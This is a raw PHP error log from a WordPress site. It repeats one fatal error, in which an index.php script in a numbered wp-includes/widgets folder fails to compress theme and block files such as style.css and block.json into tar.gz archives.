[04-Nov-2025 16:15:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/license.txt.txt.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:27:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:34:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:34:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:36:28 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:39:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:42:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:42:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:43:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:09 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:32 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:45 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:52 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:45:59 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:46:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:46:03 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:46:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:46:12 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:46:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:46:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:46:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:46:19 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:46:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:46:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:47:00 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:47:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:47:07 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:48:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:48:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:48:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:48:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:48:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:49:00 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:49:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:49:17 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 16:49:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
